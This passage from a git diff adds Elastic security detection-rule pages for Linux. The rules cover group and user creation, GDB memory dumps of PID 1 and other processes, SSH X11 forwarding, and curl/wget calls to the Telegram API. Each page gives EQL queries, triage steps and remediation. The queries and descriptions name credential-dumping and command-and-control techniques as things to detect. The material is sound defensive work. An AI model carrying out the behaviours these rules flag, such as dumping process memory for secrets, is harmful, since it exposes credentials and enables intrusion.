a privileged group. + +This rule identifies the usages of `groupadd` and `addgroup` to create new groups. + +> **Note**: +> This investigation guide uses the https://www.elastic.co/guide/en/security/current/invest-guide-run-osquery.html[Osquery Markdown Plugin] introduced in Elastic Stack version 8.5.0. Older Elastic Stack versions will display unrendered Markdown in this guide. +> This investigation guide uses https://www.elastic.co/guide/en/security/current/osquery-placeholder-fields.html[placeholder fields] to dynamically pass alert data into Osquery queries. Placeholder fields were introduced in Elastic Stack version 8.7.0. If you're using Elastic Stack version 8.6.0 or earlier, you'll need to manually adjust this investigation guide's queries to ensure they properly run. + + +*Possible investigation steps* + + +- Investigate whether the group was created succesfully. + - !{osquery{"label":"Osquery - Retrieve Information for a Specific Group","query":"SELECT * FROM groups WHERE groupname = {{group.name}}"}} +- Identify if a user account was added to this group after creation. + - !{osquery{"label":"Osquery - Retrieve Information for a Specific User","query":"SELECT * FROM users WHERE username = {{user.name}}"}} +- Investigate whether the user is currently logged in and active. + - !{osquery{"label":"Osquery - Investigate the Account Authentication Status","query":"SELECT * FROM logged_in_users WHERE user = {{user.name}}"}} +- Identify the user account that performed the action and whether it should perform this kind of action. +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence and whether they are located in expected locations. + - !{osquery{"label":"Osquery - Retrieve Running Processes by User","query":"SELECT pid, username, name FROM processes p JOIN users u ON u.uid = p.uid ORDER BY username"}} +- Investigate other alerts associated with the user/host during the past 48 hours. + + +*False positive analysis* + + +- Group creation is a common administrative task, so there is a high chance of the activity being legitimate. Before investigating further, verify that this activity is not benign. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system. +- Remove and block malicious artifacts identified during triage. +- Review the privileges assigned to the involved users to ensure that the least privilege principle is being followed. +- Delete the created group and, in case an account was added to this group, delete the account. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Leverage the incident response data and logging to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Filebeat. + + +*Filebeat Setup* + +Filebeat is a lightweight shipper for forwarding and centralizing log data. Installed as an agent on your servers, Filebeat monitors the log files or locations that you specify, collects log events, and forwards them either to Elasticsearch or Logstash for indexing. + + +*The following steps should be executed in order to add the Filebeat on a Linux System:* + +- Elastic provides repositories available for APT and YUM-based distributions. Note that we provide binary packages, but no source packages. +- To install the APT and YUM repositories follow the setup instructions in this https://www.elastic.co/guide/en/beats/filebeat/current/setup-repositories.html[helper guide]. +- To run Filebeat on Docker follow the setup instructions in the https://www.elastic.co/guide/en/beats/filebeat/current/running-on-docker.html[helper guide]. +- To run Filebeat on Kubernetes follow the setup instructions in the https://www.elastic.co/guide/en/beats/filebeat/current/running-on-kubernetes.html[helper guide]. +- For quick start information for Filebeat refer to the https://www.elastic.co/guide/en/beats/filebeat/8.11/filebeat-installation-configuration.html[helper guide]. +- For complete “Setup and Run Filebeat” information refer to the https://www.elastic.co/guide/en/beats/filebeat/current/setting-up-and-running.html[helper guide]. + + +*Rule Specific Setup Note* + +- This rule requires the “Filebeat System Module” to be enabled. +- The system module collects and parses logs created by the system logging service of common Unix/Linux based distributions. +- To run the system module of Filebeat on Linux follow the setup instructions in the https://www.elastic.co/guide/en/beats/filebeat/current/filebeat-module-system.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +iam where host.os.type == "linux" and event.type == "group" and event.type == "creation" and event.outcome == "success" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Local or Domain Groups +** ID: T1098.007 +** Reference URL: https://attack.mitre.org/techniques/T1098/007/ +* Technique: +** Name: Create Account +** ID: T1136 +** Reference URL: https://attack.mitre.org/techniques/T1136/ +* Sub-technique: +** Name: Local Account +** ID: T1136.001 +** Reference URL: https://attack.mitre.org/techniques/T1136/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-linux-init-pid-1-secret-dump-via-gdb.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-linux-init-pid-1-secret-dump-via-gdb.asciidoc new file mode 100644 index 0000000000..75396e51d6 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-linux-init-pid-1-secret-dump-via-gdb.asciidoc @@ -0,0 +1,175 @@ +[[prebuilt-rule-8-19-34-linux-init-pid-1-secret-dump-via-gdb]] +=== Linux init (PID 1) Secret Dump via GDB + +This rule monitors for the potential memory dump of the init process (PID 1) through gdb. Attackers may leverage memory dumping techniques to attempt secret extraction from privileged processes. Tools that display this behavior include "truffleproc" and "bash-memory-dump". This behavior should not happen by default, and should be investigated thoroughly. + +*Rule type*: eql + +*Rule indices*: + +* auditbeat-* +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process* +* logs-sentinel_one_cloud_funnel.* +* logs-auditd_manager.auditd-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://github.com/controlplaneio/truffleproc +* https://github.com/hajzer/bash-memory-dump + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Credential Access +* Data Source: Elastic Defend +* Data Source: Elastic Endgame +* Data Source: Crowdstrike +* Data Source: SentinelOne +* Data Source: Auditd Manager +* Resources: Investigation Guide +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 113 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Linux init (PID 1) Secret Dump via GDB* + + +In Linux, the init process (PID 1) is the first process started by the kernel and is responsible for initializing the system. Adversaries may exploit debugging tools like GDB to dump memory from this process, potentially extracting sensitive information. The detection rule identifies suspicious GDB executions targeting PID 1, flagging unauthorized memory access attempts for further investigation. + + +*Possible investigation steps* + + +- Review the alert details to confirm the process name is "gdb" and the process arguments include "--pid" or "-p" with a target of PID "1". +- Check the user account associated with the gdb process execution to determine if it is authorized to perform debugging tasks on the system. +- Investigate the parent process of the gdb execution to understand how it was initiated and whether it was part of a legitimate workflow or script. +- Examine system logs around the time of the alert to identify any other suspicious activities or related events that might indicate a broader attack. +- Assess the system for any unauthorized changes or anomalies, such as new user accounts, modified configurations, or unexpected network connections. +- If possible, capture and analyze memory dumps or other forensic artifacts to identify any sensitive information that may have been accessed or exfiltrated. + + +*False positive analysis* + + +- System administrators or developers may use GDB for legitimate debugging purposes on the init process. To handle this, create exceptions for known maintenance windows or specific user accounts that are authorized to perform such actions. +- Automated scripts or monitoring tools might inadvertently trigger this rule if they include GDB commands targeting PID 1 for health checks. Review and adjust these scripts to avoid unnecessary memory access or exclude them from the rule if they are verified as safe. +- Security tools or forensic analysis software might use GDB as part of their operations. Identify these tools and whitelist their processes to prevent false positives while ensuring they are from trusted sources. +- Training or testing environments may simulate attacks or debugging scenarios involving GDB and PID 1. Exclude these environments from the rule to avoid noise, ensuring they are isolated from production systems. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or data exfiltration. +- Terminate the suspicious gdb process targeting PID 1 to stop any ongoing memory dumping activity. +- Conduct a thorough review of system logs and process execution history to identify any additional unauthorized access attempts or related suspicious activities. +- Change all credentials and secrets that may have been exposed or accessed during the memory dump, focusing on those used by the init process and other privileged accounts. +- Implement stricter access controls and monitoring for debugging tools like gdb, ensuring only authorized personnel can execute such tools on critical systems. +- Escalate the incident to the security operations team for a comprehensive investigation and to determine if further forensic analysis is required. +- Update and enhance detection rules and monitoring systems to better identify and alert on similar unauthorized memory access attempts in the future. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and event.action in ("exec", "exec_event", "start", "ProcessRollup2", "executed", "process_started") and +process.name == "gdb" and process.args in ("--pid", "-p") and process.args == "1" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: OS Credential Dumping +** ID: T1003 +** Reference URL: https://attack.mitre.org/techniques/T1003/ +* Sub-technique: +** Name: Proc Filesystem +** ID: T1003.007 +** Reference URL: https://attack.mitre.org/techniques/T1003/007/ +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Data from Local System +** ID: T1005 +** Reference URL: https://attack.mitre.org/techniques/T1005/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-linux-process-hooking-via-gdb.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-linux-process-hooking-via-gdb.asciidoc new file mode 100644 index 0000000000..72b823c44a --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-linux-process-hooking-via-gdb.asciidoc @@ -0,0 +1,144 @@ +[[prebuilt-rule-8-19-34-linux-process-hooking-via-gdb]] +=== Linux Process Hooking via GDB + +This rule monitors for potential memory dumping through gdb. Attackers may leverage memory dumping techniques to attempt secret extraction from privileged processes. Tools that display this behavior include "truffleproc" and "bash-memory-dump". This behavior should not happen by default, and should be investigated thoroughly. + +*Rule type*: eql + +*Rule indices*: + +* auditbeat-* +* endgame-* +* logs-auditd_manager.auditd-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://github.com/controlplaneio/truffleproc +* https://github.com/hajzer/bash-memory-dump + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Credential Access +* Data Source: Elastic Defend +* Data Source: Elastic Endgame +* Data Source: Auditd Manager +* Data Source: Crowdstrike +* Data Source: SentinelOne +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 109 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Linux Process Hooking via GDB* + + +GDB, the GNU Debugger, is a powerful tool used for debugging applications by inspecting their memory and execution flow. Adversaries can exploit GDB to attach to running processes, potentially extracting sensitive information like credentials. The detection rule identifies suspicious use of GDB by monitoring process initiation with specific arguments, flagging potential unauthorized memory access attempts for further investigation. + + +*Possible investigation steps* + + +- Review the process details to confirm the presence of GDB by checking if the process name is "gdb" and the arguments include "--pid" or "-p". +- Identify the target process that GDB is attempting to attach to by examining the process arguments and cross-referencing the process ID. +- Investigate the user account under which the GDB process is running to determine if it is authorized to perform debugging tasks on the target process. +- Check the system logs and audit logs for any unusual activity or prior attempts to access sensitive processes or data around the time the GDB process was initiated. +- Correlate the event with other security alerts or anomalies in the environment to assess if this is part of a broader attack pattern or isolated incident. +- Evaluate the necessity and legitimacy of the GDB usage in the context of the system's normal operations and the user's role. +- If unauthorized access is suspected, consider isolating the affected system and conducting a deeper forensic analysis to prevent potential data exfiltration. + + +*False positive analysis* + + +- Development and debugging activities may trigger the rule when developers use GDB for legitimate purposes. To manage this, create exceptions for specific user accounts or development environments where GDB usage is expected. +- Automated scripts or maintenance tasks that utilize GDB for process inspection can also cause false positives. Identify these scripts and exclude their execution paths or associated user accounts from the rule. +- Security tools or monitoring solutions that use GDB for legitimate process analysis might be flagged. Verify these tools and whitelist their processes or execution contexts to prevent unnecessary alerts. +- Training or educational environments where GDB is used for learning purposes can lead to false positives. Consider excluding these environments or specific user groups from the rule to avoid interference with educational activities. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or data exfiltration. +- Terminate the GDB process if it is confirmed to be unauthorized, using process management tools to stop the process safely. +- Conduct a memory dump analysis of the affected system to identify any potential data leakage or extraction of sensitive information. +- Review system logs and audit trails to identify any additional unauthorized access attempts or related suspicious activities. +- Change credentials for any accounts that may have been exposed or accessed during the incident to prevent unauthorized use. +- Implement stricter access controls and monitoring for systems that handle sensitive information to prevent similar incidents. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected. + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and event.action in ("exec", "exec_event", "start", "ProcessRollup2", "executed", "process_started") + and process.name == "gdb" and process.args in ("--pid", "-p") and +/* Covered by d4ff2f53-c802-4d2e-9fb9-9ecc08356c3f */ +process.args != "1" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: OS Credential Dumping +** ID: T1003 +** Reference URL: https://attack.mitre.org/techniques/T1003/ +* Sub-technique: +** Name: Proc Filesystem +** ID: T1003.007 +** Reference URL: https://attack.mitre.org/techniques/T1003/007/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Process Injection +** ID: T1055 +** Reference URL: https://attack.mitre.org/techniques/T1055/ +* Sub-technique: +** Name: Ptrace System Calls +** ID: T1055.008 +** Reference URL: https://attack.mitre.org/techniques/T1055/008/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-linux-ssh-x11-forwarding.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-linux-ssh-x11-forwarding.asciidoc new file mode 100644 index 0000000000..4c6e09f205 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-linux-ssh-x11-forwarding.asciidoc @@ -0,0 +1,162 @@ +[[prebuilt-rule-8-19-34-linux-ssh-x11-forwarding]] +=== Linux SSH X11 Forwarding + +This rule monitors for X11 forwarding via SSH. X11 forwarding is a feature that allows users to run graphical applications on a remote server and display the application's graphical user interface on their local machine. Attackers can abuse X11 forwarding for tunneling their GUI-based tools, pivot through compromised systems, and create covert communication channels, enabling lateral movement and facilitating remote control of systems within a network. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://book.hacktricks.xyz/generic-methodologies-and-resources/tunneling-and-port-forwarding + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Command and Control +* Data Source: Elastic Defend +* Data Source: Elastic Endgame +* Data Source: Crowdstrike +* Data Source: SentinelOne +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Linux +* Resources: Osquery + +*Version*: 110 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Linux SSH X11 Forwarding* + + +Attackers can leverage SSH X11 forwarding to capture a user's graphical desktop session and potentially execute unauthorized GUI applications remotely. + +This rule looks for the execution of SSH in conjunction with command line arguments that are capable of setting up X11 forwarding. + +> **Note**: +> This investigation guide uses the https://www.elastic.co/guide/en/security/current/invest-guide-run-osquery.html[Osquery Markdown Plugin] introduced in Elastic Stack version 8.5.0. Older Elastic Stack versions will display unrendered Markdown in this guide. +> This investigation guide uses https://www.elastic.co/guide/en/security/current/osquery-placeholder-fields.html[placeholder fields] to dynamically pass alert data into Osquery queries. Placeholder fields were introduced in Elastic Stack version 8.7.0. If you're using Elastic Stack version 8.6.0 or earlier, you'll need to manually adjust this investigation guide's queries to ensure they properly run. + + +*Possible investigation steps* + + +- Identify any signs of suspicious network activity or anomalies that may indicate network forwarding activity. This could include unexpected traffic patterns or unusual network behavior. + - Investigate listening ports and open sockets to look for potential protocol tunneling, reverse shells, or data exfiltration. + - !{osquery{"label":"Osquery - Retrieve Listening Ports","query":"SELECT pid, address, port, socket, protocol, path FROM listening_ports"}} + - !{osquery{"label":"Osquery - Retrieve Open Sockets","query":"SELECT pid, family, remote_address, remote_port, socket, state FROM process_open_sockets"}} +- Identify the user account that performed the action, analyze it, and check whether it should perform this kind of action. + - !{osquery{"label":"Osquery - Retrieve Information for a Specific User","query":"SELECT * FROM users WHERE username = {{user.name}}"}} +- Investigate whether the user is currently logged in and active. + - !{osquery{"label":"Osquery - Investigate the Account Authentication Status","query":"SELECT * FROM logged_in_users WHERE user = {{user.name}}"}} +- Investigate the script execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence and whether they are located in expected locations. + - !{osquery{"label":"Osquery - Retrieve Running Processes by User","query":"SELECT pid, username, name FROM processes p JOIN users u ON u.uid = p.uid ORDER BY username"}} + - !{osquery{"label":"Osquery - Retrieve Process Info","query":"SELECT name, cmdline, parent, path, uid FROM processes"}} +- Investigate other alerts associated with the user/host during the past 48 hours. + - If scripts or executables were dropped, retrieve the files and determine if they are malicious: + - Use a private sandboxed malware analysis system to perform analysis. + - Observe and collect information about the following activities: + - Attempts to contact external domains and addresses. + - Check if the domain is newly registered or unexpected. + - Check the reputation of the domain or IP address. + - File access, modification, and creation activities. + + +*Related rules* + + +- Potential Linux Tunneling and/or Port Forwarding - 6ee947e9-de7e-4281-a55d-09289bdf947e + + +*False positive analysis* + + +- If this activity is related to new benign software installation activity, consider adding exceptions — preferably with a combination of user and command line conditions. +- If this activity is related to a system administrator or developer who uses port tunneling/forwarding for benign purposes, consider adding exceptions for specific user accounts or hosts. +- Try to understand the context of the execution by thinking about the user, machine, or business purpose. A small number of endpoints, such as servers with unique software, might appear unusual but satisfy a specific business need. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors, such as reverse shells, reverse proxies, or droppers, that attackers could use to reinfect the system. +- Remove and block malicious artifacts identified during triage. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Leverage the incident response data and logging to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and event.action in ("exec", "exec_event", "start", "ProcessRollup2") and +process.name in ("ssh", "sshd") and process.args in ("-X", "-Y") and process.args_count >= 3 and +process.parent.name in ("bash", "dash", "ash", "sh", "tcsh", "csh", "zsh", "ksh", "fish") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Protocol Tunneling +** ID: T1572 +** Reference URL: https://attack.mitre.org/techniques/T1572/ +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Remote Services +** ID: T1021 +** Reference URL: https://attack.mitre.org/techniques/T1021/ +* Sub-technique: +** Name: SSH +** ID: T1021.004 +** Reference URL: https://attack.mitre.org/techniques/T1021/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-linux-telegram-api-request.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-linux-telegram-api-request.asciidoc new file mode 100644 index 0000000000..042508d076 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-linux-telegram-api-request.asciidoc @@ -0,0 +1,185 @@ +[[prebuilt-rule-8-19-34-linux-telegram-api-request]] +=== Linux Telegram API Request + +This rule detects when a process executes the curl or wget command with an argument that includes the api.telegram.org domain. This may indicate command and control behavior. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process* +* logs-sentinel_one_cloud_funnel.* +* auditbeat-* +* logs-auditd_manager.auditd-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Command and Control +* Data Source: Elastic Defend +* Data Source: Elastic Endgame +* Data Source: Crowdstrike +* Data Source: SentinelOne +* Data Source: Auditd Manager +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Profile: Recommended +* Threat: Web Service Abuse +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 6 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + ## Triage and analysis + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Linux Telegram API Request* + + +Telegram's API allows applications to interact with its messaging platform, often used for legitimate automation and communication tasks. However, adversaries may exploit this by using commands like `curl` or `wget` to communicate with Telegram's API for command and control purposes. The detection rule identifies such suspicious activity by monitoring for these commands accessing the Telegram API, indicating potential misuse. + + +*Possible investigation steps* + + +- Review the process details to confirm the execution of the curl or wget command with the api.telegram.org domain in the command line, as indicated by the process.command_line field. +- Investigate the user account associated with the process to determine if the activity aligns with expected behavior or if the account may be compromised. +- Check the network activity logs to identify any additional connections to api.telegram.org or other suspicious domains, which may indicate further command and control communication. +- Analyze the parent process of the detected curl or wget command to understand how the process was initiated and if it was triggered by another suspicious activity. +- Examine the system for any other indicators of compromise, such as unusual file modifications or additional unauthorized processes, to assess the scope of potential malicious activity. + + +*False positive analysis* + + +- Legitimate automation scripts or applications may use curl or wget to interact with Telegram's API for non-malicious purposes. Review the context and purpose of these scripts to determine if they are authorized. +- System administrators or developers might use curl or wget for testing or maintenance tasks involving Telegram's API. Verify if these activities are part of routine operations and consider excluding them if they are deemed safe. +- Monitoring tools or integrations that rely on Telegram for notifications could trigger this rule. Identify these tools and add exceptions for their known processes to prevent unnecessary alerts. +- If a specific user or service account frequently triggers this rule due to legitimate use, consider creating an exception for that account to reduce noise while maintaining security oversight. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further communication with the Telegram API and potential data exfiltration. +- Terminate any suspicious processes identified as using curl or wget to interact with api.telegram.org to halt ongoing malicious activities. +- Conduct a thorough review of the affected system's process logs and network connections to identify any additional indicators of compromise or related malicious activity. +- Remove any unauthorized scripts or binaries that may have been used to automate the interaction with the Telegram API. +- Reset credentials and review access permissions for any accounts that were active on the affected system to prevent unauthorized access. +- Update and patch the affected system to the latest security standards to mitigate vulnerabilities that could be exploited in similar attacks. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected. + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + +Elastic Defend integration does not collect environment variable logging by default. +In order to capture this behavior, this rule requires a specific configuration option set within the advanced settings of the Elastic Defend integration. + #### To set up environment variable capture for an Elastic Agent policy: +- Go to “Security → Manage → Policies”. +- Select an “Elastic Agent policy”. +- Click “Show advanced settings”. +- Scroll down or search for “linux.advanced.capture_env_vars”. +- Enter the names of environment variables you want to capture, separated by commas. +- For this rule the linux.advanced.capture_env_vars variable should be set to "HTTP_PROXY,HTTPS_PROXY,ALL_PROXY". +- Click “Save”. +After saving the integration change, the Elastic Agents running this policy will be updated and the rule will function properly. +For more information on capturing environment variables refer to the https://www.elastic.co/guide/en/security/current/environment-variable-capture.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and +event.action in ("exec", "start", "exec_event", "ProcessRollup2", "executed", "exec_event", "process_started") and +process.name in ("curl", "wget") and process.command_line like "*api.telegram.org*" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Application Layer Protocol +** ID: T1071 +** Reference URL: https://attack.mitre.org/techniques/T1071/ +* Sub-technique: +** Name: Web Protocols +** ID: T1071.001 +** Reference URL: https://attack.mitre.org/techniques/T1071/001/ +* Technique: +** Name: Web Service +** ID: T1102 +** Reference URL: https://attack.mitre.org/techniques/T1102/ +* Sub-technique: +** Name: Bidirectional Communication +** ID: T1102.002 +** Reference URL: https://attack.mitre.org/techniques/T1102/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-linux-user-account-creation.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-linux-user-account-creation.asciidoc new file mode 100644 index 0000000000..f8c1b3decf --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-linux-user-account-creation.asciidoc @@ -0,0 +1,163 @@ +[[prebuilt-rule-8-19-34-linux-user-account-creation]] +=== Linux User Account Creation + +Identifies attempts to create new users. Attackers may add new users to establish persistence on a system. + 